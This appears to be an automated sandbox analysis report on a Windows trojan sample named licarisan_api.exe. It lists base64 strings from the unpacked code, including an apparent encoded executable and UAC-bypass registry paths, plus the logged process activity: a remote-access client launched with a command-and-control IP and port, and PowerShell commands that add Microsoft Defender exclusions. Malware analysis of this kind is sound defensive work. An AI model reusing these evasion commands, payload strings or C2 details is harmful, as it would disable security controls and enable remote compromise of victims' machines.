Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, ZMYTFC94A7P9.cs	Base64 encoded string: 'YUhSMGNITTZMeTl5WVhjdVoybDBhSFZpZFhObGNtTnZiblJsYm5RdVkyOXRMMGR2WkU5bVYyRnlaVVpoY21VdlZHaGxSMjl2WkV0cFpGQm9iM1J2Y3k5dFlXbHVMM0owTG1wd1p3PT0='
Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, YGRKZZ70EYH6.cs	Base64 encoded string: 'VFZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFCUVJRQUFUQUVEQUFoWStxa0FBQUFBQUFBQUFPQUFJZ0FMQVRBQUFPQUJBQUFJQUFBQUFBQUFkdmtCQUFBZ0FBQUFBQUlBQUFCQUFBQWdBQUFBQWdBQUJBQUFBQUFBQUFBR0FBQUFBQUFBQUFCQUFnQUFBZ0FBQUFBQUFBTUFZSVVBQUJBQUFCQUFBQUFBRUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFDTDVBUUJQQUFBQUFBQUNBSFFGQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNBQ0FBd0FBQUNBK0FFQU9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUFITjRCQUFBZ0FBQUE0QUVBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQUhRRkFBQUFBQUlBQUFZQUFBRGlBUUFBQUFBQUFBQUFBQUFBQUFCQUFBQkFMbkpsYkc5akFBQU1BQUFBQUNBQ0FBQUNBQUFBNkFFQUFBQUFBQUFBQUFBQUFBQUFRQUFBUWdBQUFBQUFBQUFBQUFBQUFBQUFBQUJXK1FFQUFBQUFBRWdBQUFBQ0FBVUF4TEVBQUV3cEFRQURBQUlBQVFBQUJoRGJBUUJ3SFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQnN3QlFDSkFRQUFBUUFBRVhNYUFBQUtKWElCQUFCd2J4c0FBQW9sY2drQUFIQW9IQUFBQ204ZEFBQUtieDRBQUFweTlnQUFjQ2dmQUFBS2J5QUFBQW9sRjI4aEFBQUtKUmR2SWdBQUNpVVhieU1BQUFvbEZtOGtBQUFLS0NVQUFBb21jeG9BQUFvbGNnRUFBSEJ2R3dBQUNpVnlCZ0VBY0c4Z0FBQUtKUmR2SVFBQUNpVVhieUlBQUFvbEYyOGpBQUFLSlJadkpBQUFDaWdsQUFBS0poWUNHWnB6SmdBQUNnb0dGaFp2SndBQUNpMElCbThvQUFBS0ZBcmVJU1lXY2hVQ0FIQnpKZ0FBQ2dzSEZoWnZKd0FBQ2kwSUIyOG9BQUFLRkF2ZUFBQW9tZ0FBQmlncEFBQUtnQzBBQUFSK05nQUFCQnB2R2dFQUJvQXNBQUFFZml3QUFBUWJMd2NmRklBc0FBQUVBaGFhS0NvQUFBcUFJZ0FBQkFJWG1vQWdBQUFFQWhpYUtDc0FBQXFBSVFBQUJDZ3NBQUFLY2kwQ0FIQW9MUUFBQ2lnZkFBQUtnQ1FBQUFRb0xnQUFDbTh2QUFBS0RCSUNLREFBQUFxQUpRQUFCQ2d1QUFBS2J5OEFBQW9NRWdJb01RQUFDb0FtQUFBRWZpQUFBQVIrSVFBQUJDZ0NBQUFHSUJBbkFBQW9NZ0FBQ2l2MEp0NEFLZ0FBQUFFY0FBQUFBSk1BSHJFQUlSTUFBQUVBQU5NQXNvVUJBeE1BQUFFYk1BWUF0UUVBQUFJQUFCRnpNd0FBQ29BZUFBQUVJT2dEQUFBb01nQUFDbjRlQUFBRUFnTnZOQUFBQ3Q0REp0N2JmaDRBQUFSdk5RQUFDb0FmQUFBRWZoOEFBQVFYalZjQUFBRVdGaFQrQmdNQUFBWnpOZ0FBQ2hSdk53QUFDaVorT0FBQUNuSXhBZ0J3YnprQUFBcHlpd0lBY0c4NkFBQUtkRkVBQUFFS0tEc0FBQW9MY3FNQ0FIQW9QQUFBQ25LekFnQndLRDBBQUFvb1BnQUFDaTBzY3FNQ0FIQW9QQUFBQ25LekFnQndLRDBBQUFvb1B3QUFDaE1FRWdSeXh3SUFjQ2hBQUFBS0tFRUFBQXB5b3dJQWNDZzhBQUFLY3JNQ0FIQW9QUUFBQ2loQ0FBQUtESE5EQUFBS2N0MENBSEFvUkFBQUNuSUZBd0J3Y2c4REFIQnZSUUFBQ25JUkF3QndjZzhEQUhCdlJRQUFDbTlHQUFBS0tFY0FBQW9OZmg0QUFBUnZTQUFBQ205SkFBQUtiMG9BQUFvWGpWOEFBQUVsRmg4Nm5XOUxBQUFLSm40ZkFBQUVId3lOVVFBQUFTVVdjaGNEQUhDaUpSZCtJZ0FBQktJbEdISWxBd0J3b2lVWmZpUUFBQVNpSlJweUx3TUFjS0lsR3dkdlRBQUFDbTlLQUFBS29pVWNjaThEQUhDaUpSMEdvaVVlY2k4REFIQ2lKUjhKQ0tJbEh3cHlNd01BY0tJbEh3c0piMG9BQUFxaUtFMEFBQW9vaGdBQUJ0NERKdDRBS2dBQUFFRTBBQUFBQUFBQUZBQUFBQTRBQUFBaUFBQUFBd0FBQUJNQUFBRUFBQUFBVkFBQUFGMEJBQUN4QVFBQUF3QUFBQk1BQUFFYk1BWUFnd0VBQUFNQUFCRitIZ0FBQkFvV0N3WVNBU2hPQUFBS2MwOEFBQW9NQ0JadlVBQUFDZ2dYYjFFQUFBb0lHVzlTQUFBS0hvMVhBQUFCRFI0VEJCWVRCU3N0Zmg4QUFBUUpFUVVSQkc5VEFBQUtKUzBMSUVZbkFBQnpWQUFBQ25vVENoRUVFUXJhRXdRUkJSRUsxaE1GRVFRV01NNEpGaWhWQUFBS0V3WVdFd2NSQm5OV0FBQUtmbGNBQUFvb1dBQUFDaWhaQUFBS0Y
Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, 2ZVQL0G981AF.cs	Base64 encoded string: 'VTI5bWRIZGhjbVZjVFdsamNtOXpiMlowWEZkcGJtUnZkM01nVGxSY1EzVnljbVZ1ZEZabGNuTnBiMjVjVjJsdWJHOW5iMjVj', 'VTI5bWRIZGhjbVZjVFdsamNtOXpiMlowWEZkcGJtUnZkM01nVGxSY1EzVnljbVZ1ZEZabGNuTnBiMjVjVjJsdWJHOW5iMjQ9', 'U29mdHdhcmVcQ2xhc3Nlc1xtcy1zZXR0aW5nc1xzaGVsbFxvcGVuXGNvbW1hbmQ=', 'U29mdHdhcmVcQ2xhc3Nlc1xtcy1zZXR0aW5nc1xzaGVsbFxvcGVuXGNvbW1hbmQ=', 'QzpcV2luZG93c1xTeXN0ZW0zMlxDb21wdXRlckRlZmF1bHRzLmV4ZQ==', 'VTI5bWRIZGhjbVZjVFdsamNtOXpiMlowWEZkcGJtUnZkM01nVGxSY1EzVnljbVZ1ZEZabGNuTnBiMjVjVjJsdWJHOW5iMjVj'
Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, 432UNQ7P4ZIK.cs	Base64 encoded string: 'U2VsZWN0ICogRnJvbSBXaW4zMl9Qcm9jZXNzIFdoZXJlIFBhcmVudFByb2Nlc3NJRD0=', 'U2VsZWN0ICogRnJvbSBXaW4zMl9Qcm9jZXNzIFdoZXJlIFBhcmVudFByb2Nlc3NJRD0='
Source: 0.2.licarisan_api.exe.724afa.0.raw.unpack, GLBIU47KBU1H.cs	Base64 encoded string: 'IC90YXJnZXQ6d2luZXhlIC9wbGF0Zm9ybTphbnljcHUgL29wdGltaXplKw=='

Source: classification engine

Classification label: mal100.troj.evad.winEXE@21/12@5/2

Source: C:\Users\user\Desktop\licarisan_api.exe

File created: C:\Users\user\Music\OcoulsUpdater

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Mutant created: \Sessions\1\BaseNamedObjects\vUiuCXqqM
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2104e5b.dcw.ps1

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\licarisan_api.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: licarisan_api.exe	ReversingLabs: Detection: 21%
Source: licarisan_api.exe	Virustotal: Detection: 33%

Source: C:\Users\user\Desktop\licarisan_api.exe

File read: C:\Users\user\Desktop\licarisan_api.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\licarisan_api.exe "C:\Users\user\Desktop\licarisan_api.exe"
Source: C:\Users\user\Desktop\licarisan_api.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /NoUACCheck
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /NoUACCheck
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\licarisan_api.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe	Jump to behavior

Source: C:\Users\user\Desktop\licarisan_api.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\licarisan_api.exe	Section loaded: k7rn7l32.dll	Jump to behavior
Source: C:\Users\user\Desktop\licarisan_api.exe	Section loaded: ntd3ll.dll	Jump to behavior
Source: C:\Users\user\Desktop\licarisan_api.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\licarisan_api.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ninput.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: structuredquery.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswb7.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.search.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
